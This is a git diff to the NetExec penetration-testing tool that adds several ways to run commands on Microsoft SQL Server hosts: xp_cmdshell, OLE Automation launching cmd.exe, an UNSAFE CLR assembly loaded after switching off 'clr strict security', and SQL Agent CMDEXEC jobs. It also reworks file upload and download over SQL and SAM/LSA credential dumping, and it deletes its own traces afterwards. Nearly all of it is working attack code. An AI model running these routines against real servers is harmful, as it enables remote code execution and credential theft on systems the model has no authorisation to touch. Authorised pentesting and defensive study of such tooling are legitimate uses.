diff --git a/nxc/data/mssql_clr/default_cmd_assembly.dll b/nxc/data/mssql_clr/default_cmd_assembly.dll new file mode 100644 index 0000000000..6447462fbb Binary files /dev/null and b/nxc/data/mssql_clr/default_cmd_assembly.dll differ diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..665121c9ad 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -1,5 +1,6 @@ import os import random +import binascii import contextlib from termcolor import colored @@ -12,6 +13,9 @@ from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message from nxc.helpers.powershell import create_ps_command from nxc.protocols.mssql.mssqlexec import MSSQLEXEC +from nxc.protocols.mssql.oleexec import OLEEXEC +from nxc.protocols.mssql.clrexec import CLREXEC +from nxc.protocols.mssql.jobexec import JOBEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache @@ -44,6 +48,8 @@ def __init__(self, args, db, host): self.lmhash = "" self.nthash = "" self.no_ntlm = False + self.args = args + self.backuped_options = {} connection.__init__(self, args, db, host) @@ -310,31 +316,114 @@ def query(self): return raw_output @requires_admin - def execute(self, payload=None, get_output=False): - payload = self.args.execute if not payload and self.args.execute else payload - if not payload: - self.logger.error("No command to execute specified!") - return None - - get_output = True if not self.args.no_output else get_output - self.logger.debug(f"{get_output=}") + def execute(self, payload=None, get_output=False, methods=None) -> str: + """ + Executes a command on the target host using CMD.exe and the specified method(s). + + Args: + ---- + payload (str): The command to execute + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + + Returns: + ------- + str: The output of the command + """ + if getattr(self.args, "exec_method_explicitly_set", False): + methods = [self.args.exec_method] + if not methods: + methods = ["mssqlexec", "oleexec", "clrexec"] + + if not payload and self.args.execute: + payload = self.args.execute + if not self.args.no_output: + get_output = True + + current_method = "" + for method in methods: + current_method = method + if method == "mssqlexec": + try: + exec_method = MSSQLEXEC(self) + self.logger.debug("MSSQLEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate MSSQLEXEC method: {e!s}") + continue + elif method == "oleexec": + try: + exec_method = OLEEXEC(self) + self.logger.debug("OLEEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate OLEEXEC method: {e!s}") + continue + elif method == "clrexec": + try: + exec_method = CLREXEC(self) + self.logger.debug("CLREXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate CLREXEC method: {e!s}") + continue + elif method == "jobexec": + try: + exec_method = JOBEXEC(self) + # SQL agent is not running, as such we just return and avoid command execution + if exec_method.is_sql_server_agent_running is False: + return None + self.logger.debug("JOBEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate JOBEXEC method: {e!s}") + continue + if "exec_method" in locals(): + + # This part is hacky because we need to be able to determine whether the user used -x/-X with a command + # Or with a custom assembly to execute. + clr_assembly_explicitly_set = getattr(self.args, "clr_assembly_explicitly_set", False) + if (self.args.execute is True or self.args.ps_execute is True) and not clr_assembly_explicitly_set: + if self.args.execute is True: + self.logger.fail("-x requires a command to execute") + if self.args.ps_execute is True: + self.logger.fail("-X requires a command to execute") + return "" + + if method == "clrexec": + # if --clr-assembly is explicitly set then we don't have to provide the command to execute at all + # As such we overwrite it so that clrexec.py simply execute the provided CLR. + if getattr(self.args, "clr_assembly_explicitly_set", False): + payload = None + # Otherwise we rely on the default assembly that calls cmd /c payload + output = exec_method.execute(payload, get_output, self.args) + else: + output = exec_method.execute(payload, get_output) - output = "" - try: - exec_method = MSSQLEXEC(self.conn, self.logger) - output = exec_method.execute(payload) - self.logger.debug(f"Output: {output}") - except Exception as e: - self.logger.fail(f"Execute command failed, error: {e!s}") - return False + try: + if not isinstance(output, str): + output = output.decode(self.args.codec) + except UnicodeDecodeError: + self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + output = output.decode("cp437") + + self.logger.debug(f"Raw Output: {output}") + output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()]) + self.logger.debug(f"Cleaned Output: {output}") + + if "This script contains malicious content" in output: + self.logger.fail("Command execution blocked by AMSI") + return "" + + if (self.args.execute or self.args.ps_execute or self.args.clr_assembly_explicitly_set): + self.logger.success(f"Executed command via {current_method}") + if output: + for line in output.split("\n"): + self.logger.highlight(line) + return output else: - if self.conn.lastError: - self.logger.fail(f"Error during command execution: {self.conn.lastError}") - else: - self.logger.success("Executed command via mssqlexec") - for line in output.splitlines(): - self.logger.highlight(line.strip()) - return output + self.logger.fail(f"Execute command failed with {current_method}") + return "" @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): @@ -364,30 +453,42 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa return response @requires_admin - def put_file(self): - self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}") - with open(self.args.put_file[0], "rb") as f: + def put_file(self, download_path=None, remote_path=None): + if remote_path is None and download_path is None: + download_path = self.args.put_file[0] + remote_path = self.args.put_file[1] + self.logger.display(f"Copy {download_path} to {remote_path}") + with open(download_path, "rb") as f: + data = f.read() + self.logger.display(f"Size is {len(data)} bytes") try: - data = f.read() - self.logger.display(f"Size is {len(data)} bytes") - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.put_file(data, self.args.put_file[1]) - if exec_method.file_exists(self.args.put_file[1]): - self.logger.success("File has been uploaded on the remote machine") - else: - self.logger.fail("File does not exist on the remote system... error during upload") + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") + hexdata = data.hex() + self.logger.debug(f"Hex data to write to file: {hexdata}") + query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote_path}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" + self.logger.debug(f"Executing query: {query}") + self.conn.sql_query(query) + self.restore("Ole Automation Procedures") + self.restore("advanced options") except Exception as e: - self.logger.fail(f"Error during upload : {e}") + self.logger.debug(f"Error uploading via mssqlexec: {e}") @requires_admin - def get_file(self): - remote_path = self.args.get_file[0] - download_path = self.args.get_file[1] + def get_file(self, remote_path=None, download_path=None): + if remote_path is None and download_path is None: + remote_path = self.args.get_file[0] + download_path = self.args.get_file[1] self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) + query = f"SELECT * FROM OPENROWSET(BULK N'{remote_path}', SINGLE_BLOB) rs" + self.logger.debug(f"Executing query: {query}") + self.conn.sql_query(query) + data = self.conn.rows + self.logger.debug(f"Get file returned: {data}") + with open(download_path, "wb+") as f: + f.write(binascii.unhexlify(data[0]["BulkColumn"])) self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error reading file "{remote_path}": {e}') @@ -548,6 +649,25 @@ def database(self): self.logger.highlight(f"Total: {len(rows)} table(s)") return + def sql_agent(self): + check_sql_agent_server_req = """ + SELECT + status_desc, + status, + service_account + FROM sys.dm_server_services + WHERE servicename LIKE '%SQL Server Agent%'; + """ + + self.logger.debug(f"Running {check_sql_agent_server_req}") + rows = self.conn.sql_query(check_sql_agent_server_req) + if self.conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.conn.lastError}") + if not rows or rows[0]["status"] != 4: + self.logger.fail("SQL Server Agent not running.") + else: + self.logger.highlight(f"SQL server agent running as {rows[0]['service_account']}") + @requires_admin def sam(self): sam_storename = gen_random_string(6) @@ -557,12 +677,12 @@ def sam(self): get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="sam") try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.execute(dump_command) - exec_method.execute(get_owner_command) - exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") - exec_method.execute(clean_command) + exec_method = MSSQLEXEC(self) + exec_method.execute(dump_command, True) + exec_method.execute(get_owner_command, True) + self.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") + self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.execute(clean_command, True) except Exception as e: self.logger.fail(f"Failed to dump SAM database, error: {e!s}") self.logger.debug(f"Error dumping SAM: {e}", exc_info=True) @@ -592,12 +712,12 @@ def lsa(self): get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F" output_filename = self.output_file_template.format(output_folder="lsa") try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.execute(dump_command) - exec_method.execute(get_owner_command) - exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") - exec_method.execute(clean_command) + exec_method = MSSQLEXEC(self) + exec_method.execute(dump_command, True) + exec_method.execute(get_owner_command, True) + self.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") + self.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.execute(clean_command, True) except Exception as e: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") self.logger.debug(f"Error dumping LSA: {e}", exc_info=True) @@ -618,3 +738,46 @@ def lsa(self): ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + def _is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if '{option}' is enabled: {query}") + result = self.conn.sql_query(query) + self.logger.debug(f"'{option}' check result: {result}") + return bool(result and result[0]["config_value"] == 1) + + @requires_admin + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self._is_option_enabled(option) + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, enabling it.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;") + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error enabling '{option}': {e}") + + @requires_admin + def backup_and_disable(self, option): + try: + self.backuped_options[option] = self._is_option_enabled(option) + if self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is enabled, disabling it.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;") + else: + self.logger.debug(f"Option '{option}' is already disabled.") + except Exception as e: + self.logger.error(f"Error disabling '{option}': {e}") + + @requires_admin + def restore(self, option): + try: + original = self.backuped_options.get(option) + if original is None: + return + target_val = 1 if original else 0 + self.logger.debug(f"Restoring '{option}' to {target_val}.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', {target_val};RECONFIGURE;") + except Exception as e: + self.logger.error(f"[OPSEC] Error restoring '{option}': {e}") diff --git a/nxc/protocols/mssql/clrexec.py b/nxc/protocols/mssql/clrexec.py new file mode 100644 index 0000000000..d324cc8acb --- /dev/null +++ b/nxc/protocols/mssql/clrexec.py @@ -0,0 +1,139 @@ +from pathlib import Path +from nxc.helpers.misc import gen_random_string + + +class CLREXEC: + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger + self.assembly_name = f"nxc_mssql_{gen_random_string(10)}" + self.procedure_name = f"nxc_mssql_{gen_random_string(10)}" + self.backuped_options = {} + self.assembly_hex = None + + def execute(self, command, get_output, args=None) -> str: + self.classname = getattr(args, "clr_classname", "StoredProcedures") + self.method = getattr(args, "clr_method", "ExecuteCommand") + self.clr_assembly = getattr(args, "clr_assembly", "") + + if not Path(self.clr_assembly).is_file(): + self.logger.fail(f"CLR assembly not found: {self.clr_assembly}") + return "" + + with open(self.clr_assembly, "rb") as f: + data = f.read() + self.assembly_hex = f"0x{data.hex()}" + + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("clr enabled") + self.mssql.backup_and_disable("clr strict security") + + self._cleanup_stale() + + trust_query = f""" + DECLARE @hash VARBINARY(64); + SELECT @hash = HASHBYTES('SHA2_512', {self.assembly_hex}); + EXEC sp_add_trusted_assembly @hash = @hash, @description = N'{self.assembly_name}'; + """ + self.logger.debug(f"Trusting the assembly: {trust_query}") + self.mssql_conn.sql_query(trust_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error trusting assembly: {self.mssql_conn.lastError}") + self._cleanup() + self._restore_all() + return "" + + # This try/except is mandatory because we have to make sure what we added is deleted + # And I have had strange time out once, hence the need + try: + create_assembly_query = f""" + CREATE ASSEMBLY [{self.assembly_name}] + FROM {self.assembly_hex} + WITH PERMISSION_SET = UNSAFE; + """ + self.logger.debug(f"Creating assembly: {create_assembly_query}") + self.mssql_conn.sql_query(create_assembly_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error creating assembly: {self.mssql_conn.lastError}") + + create_proc_query = f""" + CREATE PROCEDURE [{self.procedure_name}] @cmd NVARCHAR(4000) + AS EXTERNAL NAME [{self.assembly_name}].[{self.classname}].[{self.method}]; + """ + self.logger.debug(f"Creating procedure: {create_proc_query}") + self.mssql_conn.sql_query(create_proc_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error creating procedure: {self.mssql_conn.lastError}") + + exec_query = f"EXEC [{self.procedure_name}] @cmd = N'{command}';" + self.logger.debug(f"Executing: {exec_query}") + raw = self.mssql_conn.sql_query(exec_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing procedure: {self.mssql_conn.lastError}") + + self.logger.debug(f"Raw results: {raw}") + output = "" + if raw and raw[0]: + first_val = next(iter(raw[0].values())) + output = first_val.decode("cp850").strip() if isinstance(first_val, bytes) else str(first_val).strip() + except Exception: + pass + finally: + self._cleanup() + self._restore_all() + return output + + def _cleanup_stale(self): + stale_query = f""" + DECLARE @asm_name SYSNAME, @proc_name SYSNAME; + DECLARE cur CURSOR FOR + SELECT name FROM sys.assemblies WHERE name = '{self.assembly_name}'; + OPEN cur; + FETCH NEXT FROM cur INTO @asm_name; + WHILE @@FETCH_STATUS = 0 + BEGIN + SELECT TOP 1 @proc_name = OBJECT_NAME(m.object_id) + FROM sys.assembly_modules m + JOIN sys.assemblies a ON m.assembly_id = a.assembly_id + WHERE a.name = @asm_name; + IF @proc_name IS NOT NULL + EXEC('DROP PROCEDURE [' + @proc_name + ']'); + EXEC('DROP ASSEMBLY [' + @asm_name + ']'); + FETCH NEXT FROM cur INTO @asm_name; + END; + CLOSE cur; + DEALLOCATE cur; + """ + self.logger.debug("Cleaning up stale nxc assemblies") + self.mssql_conn.sql_query(stale_query) + + def _cleanup(self): + if not self.assembly_hex: + return + + untrust_query = f""" + DECLARE @hash VARBINARY(64); + SELECT @hash = HASHBYTES('SHA2_512', {self.assembly_hex}); + EXEC sp_drop_trusted_assembly @hash = @hash; + """ + self.logger.debug(f"Untrusting the assembly: {untrust_query}") + self.mssql_conn.sql_query(untrust_query) + if self.mssql_conn.lastError: + self.logger.error(f"Untrusting the assembly failed, artifacts may remain: {self.mssql_conn.lastError}") + + cleanup_query = f""" + IF OBJECT_ID('{self.procedure_name}') IS NOT NULL + DROP PROCEDURE [{self.procedure_name}]; + IF EXISTS (SELECT 1 FROM sys.assemblies WHERE name = '{self.assembly_name}') + DROP ASSEMBLY [{self.assembly_name}]; + """ + self.logger.debug(f"Removing the assembly and the procedure: {cleanup_query}") + self.mssql_conn.sql_query(cleanup_query) + if self.mssql_conn.lastError: + self.logger.error(f"Removing the assembly and the procedure failed, artifacts may remain: {self.mssql_conn.lastError}") + + def _restore_all(self): + self.mssql.restore("clr strict security") + self.mssql.restore("clr enabled") + self.mssql.restore("advanced options") diff --git a/nxc/protocols/mssql/jobexec.py b/nxc/protocols/mssql/jobexec.py new file mode 100644 index 0000000000..a59fc3aae9 --- /dev/null +++ b/nxc/protocols/mssql/jobexec.py @@ -0,0 +1,100 @@ +from re import search +from time import sleep +from nxc.helpers.misc import gen_random_string + + +class JOBEXEC: + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger + self.job_name = f"nxc_mssql_{gen_random_string(10)}" + self.backuped_options = {} + self.assembly_hex = None + self.is_sql_server_agent_running = True + + check_if_server_agent_run_query = """ + SELECT * + FROM sys.dm_server_services + WHERE servicename LIKE '%SQL Server Agent%' + AND status = 4; + """ + self.logger.debug(f"Running {check_if_server_agent_run_query}") + rows = self.mssql_conn.sql_query(check_if_server_agent_run_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.mssql_conn.lastError}") + if not rows or rows[0]["status"] != 4: + self.logger.fail("SQL Server Agent not running.") + self.is_sql_server_agent_running = False + + def execute(self, command, get_output, args=None) -> str: + jobexec_query = f""" + EXEC msdb.dbo.sp_add_job + @job_name = '{self.job_name}'; + + EXEC msdb.dbo.sp_add_jobstep + @job_name = '{self.job_name}', + @step_name = 'Run CMD', + @subsystem = 'CMDEXEC', + @command = '{command}'; + + EXEC msdb.dbo.sp_add_jobserver + @job_name = '{self.job_name}'; + + EXEC msdb.dbo.sp_start_job + @job_name = '{self.job_name}'; + """ + self.logger.debug(f"Running {jobexec_query}") + self.mssql_conn.sql_query(jobexec_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing jobexec: {self.mssql_conn.lastError}") + + # Wait for the job for being executed + wait_job_finished_query = f""" + SELECT TOP 1 stop_execution_date + FROM msdb.dbo.sysjobactivity a + JOIN msdb.dbo.sysjobs j ON a.job_id = j.job_id + WHERE j.name = '{self.job_name}' + ORDER BY run_requested_date DESC; + """ + self.logger.debug(f"Running {wait_job_finished_query}") + for _ in range(10): + rows = self.mssql_conn.sql_query(wait_job_finished_query) + if rows and rows[0].get("stop_execution_date") != "NULL": + break + sleep(0.5) + + # Get output + get_output_query = f""" + SELECT TOP 1 + h.step_id, + h.run_status, + h.message, + h.run_date, + h.run_time + FROM msdb.dbo.sysjobhistory h + JOIN msdb.dbo.sysjobs j ON h.job_id = j.job_id + WHERE j.name = '{self.job_name}' + AND h.step_id > 0 + ORDER BY h.instance_id DESC; + """ + self.logger.debug(f"Running {get_output_query}") + result_rows = self.mssql_conn.sql_query(get_output_query) + if self.mssql_conn.lastError or not result_rows: + self.logger.fail(f"Fail running command execution: {self.mssql_conn.lastError}") + return + + if match := search(r"\.(.*?)\.", result_rows[0]["message"]): + output = match.group(1).strip() + if self.mssql_conn.lastError: + self.logger.fail(f"Error executing history retrieval: {self.mssql_conn.lastError}") + + cleanup_query = f""" + EXEC msdb.dbo.sp_delete_job @job_name = '{self.job_name}'; + """ + self.logger.debug(f"Running {cleanup_query}") + rows = self.mssql_conn.sql_query(cleanup_query) + if self.mssql_conn.lastError: + self.logger.fail(f"Error cleaning up: {self.mssql_conn.lastError}") + + return output \ No newline at end of file diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 12203d6ca7..6b7335355d 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -1,19 +1,14 @@ -import binascii - - class MSSQLEXEC: - def __init__(self, connection, logger): - self.mssql_conn = connection - self.logger = logger - - # Store the original state of options that have to be enabled/disabled in order to restore them later - self.backuped_options = {} + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger - def execute(self, command): + def execute(self, command, get_output, clr_assembly=None): result = "" - self.backup_and_enable("advanced options") - self.backup_and_enable("xp_cmdshell") + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("xp_cmdshell") try: cmd = f"exec master..xp_cmdshell '{command}'" @@ -29,76 +24,7 @@ def execute(self, command): except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") - self.restore("xp_cmdshell") - self.restore("advanced options") + self.mssql.restore("xp_cmdshell") + self.mssql.restore("advanced options") return result - - def restore(self, option): - try: - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") - - def backup_and_enable(self, option): - try: - self.backuped_options[option] = self.is_option_enabled(option) - if not self.backuped_options[option]: - self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") - query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - else: - self.logger.debug(f"Option '{option}' is already enabled.") - except Exception as e: - self.logger.error(f"Error when checking/enabling option '{option}': {e}") - - def is_option_enabled(self, option): - query = f"EXEC master.dbo.sp_configure '{option}';" - self.logger.debug(f"Checking if {option} is enabled: {query}") - result = self.mssql_conn.sql_query(query) - # Assuming the query returns a list of dictionaries with 'config_value' as the key - self.logger.debug(f"{option} check result: {result}") - return bool(result and result[0]["config_value"] == 1) - - def put_file(self, data, remote): - try: - self.backup_and_enable("advanced options") - self.backup_and_enable("Ole Automation Procedures") - hexdata = data.hex() - self.logger.debug(f"Hex data to write to file: {hexdata}") - query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - self.restore("Ole Automation Procedures") - self.restore("advanced options") - except Exception as e: - self.logger.debug(f"Error uploading via mssqlexec: {e}") - - def file_exists(self, remote): - try: - query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" - self.logger.debug(f"Executing query: {query}") - res = self.mssql_conn.batch(query) - self.logger.debug(f"File check response: {res}") - return res[0]["n"] == 1 - except Exception: - return False - - def get_file(self, remote, local): - try: - query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - data = self.mssql_conn.rows - self.logger.debug(f"Get file returned: {data}") - with open(local, "wb+") as f: - f.write(binascii.unhexlify(data[0]["BulkColumn"])) - except Exception as e: - self.logger.debug(f"Error downloading via mssqlexec: {e}") diff --git a/nxc/protocols/mssql/oleexec.py b/nxc/protocols/mssql/oleexec.py new file mode 100644 index 0000000000..90222aefa8 --- /dev/null +++ b/nxc/protocols/mssql/oleexec.py @@ -0,0 +1,70 @@ +from nxc.helpers.misc import gen_random_string + + +class OLEEXEC: + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger + self.default_output_dir = "c:\\Windows\\Temp\\" + self.output_file = f"{gen_random_string(8)}.log" + + def execute(self, command, get_output, clr_assembly=None): + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("Ole Automation Procedures") + + command_query = f""" + DECLARE @shell INT; + EXEC sp_oacreate 'WScript.Shell', @shell OUT; + EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c "{command}" > {self.default_output_dir}{self.output_file}', 0, 1;; + EXEC sp_oadestroy @shell; + """ + self.logger.debug(f"Attempting to execute query: {command_query}") + raw = self.mssql_conn.sql_query(command_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error running {command_query} : {self.mssql_conn.lastError}") + + read_answer_query = f""" + DECLARE @fso INT, @file INT, @line VARCHAR(8000), @result VARCHAR(MAX), @eof INT; + SET @result = ''; + + EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT; + EXEC sp_OAMethod @fso, 'OpenTextFile', @file OUT, '{self.default_output_dir}{self.output_file}', 1; + + WHILE 1=1 + BEGIN + EXEC sp_OAGetProperty @file, 'AtEndOfStream', @eof OUT; + IF @eof = 1 BREAK; + EXEC sp_OAMethod @file, 'ReadLine', @line OUT; + SET @result = @result + ISNULL(@line, '') + CHAR(10); + END; + + EXEC sp_OAMethod @fso, 'Close', NULL; + EXEC sp_OADestroy @file; + EXEC sp_OADestroy @fso; + + SELECT @result; + """ + self.logger.debug(f"Attempting to execute query: {read_answer_query}") + raw = self.mssql_conn.sql_query(read_answer_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error running the command execution query : {self.mssql_conn.lastError}") + + self.logger.debug(f"Raw results from query: {raw}") + output = raw[0][""].decode("cp850").strip() + + # Delete output file + delete_query = f""" + DECLARE @fso INT; + EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT; + EXEC sp_OAMethod @fso, 'DeleteFile', NULL, '{self.default_output_dir}{self.output_file}'; + EXEC sp_OADestroy @fso; + """ + self.logger.debug(f"Attempting to execute query: {delete_query}") + raw = self.mssql_conn.sql_query(delete_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error while deleting '{self.default_output_dir}{self.output_file}': {self.mssql_conn.lastError}") + + self.mssql.restore("Ole Automation Procedures") + self.mssql.restore("advanced options") + return output diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..359e3636c8 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -1,4 +1,6 @@ -from nxc.helpers.args import DisplayDefaultsNotNone +from os import path +from nxc.paths import DATA_PATH +from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction def proto_args(parser, parents): @@ -16,12 +18,15 @@ def proto_args(parser, parents): cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cgroup = mssql_parser.add_argument_group("Command Execution") + cgroup.add_argument("--exec-method", choices={"mssqlexec", "oleexec", "clrexec", "jobexec"}, default="mssqlexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) + cgroup.add_argument("--clr-assembly", default=f"{path.join(DATA_PATH, 'mssql_clr/default_cmd_assembly.dll')}", help="Path to the .NET assembly to execute via clrexec. If not provided, uses the built-in assembly.", action=DefaultTrackingAction) + cgroup.add_argument("--clr-classname", default="StoredProcedures", help="CLR class name in the assembly (default: StoredProcedures)") + cgroup.add_argument("--clr-method", default="ExecuteCommand", help="CLR method name in the assembly (default: ExecuteCommand)") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") xgroup = cgroup.add_mutually_exclusive_group() - xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") - xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") + xgroup.add_argument("-x", metavar="COMMAND", dest="execute", nargs="?", const=True, help="execute the specified command") + xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", nargs="?", const=True, help="execute the specified PowerShell command") psgroup = mssql_parser.add_argument_group("Powershell Options") psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout") @@ -36,4 +41,5 @@ def proto_args(parser, parents): mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--sql-agent", action="store_true", default=False, help="Checks if the SQL server agent is running and with which account") return parser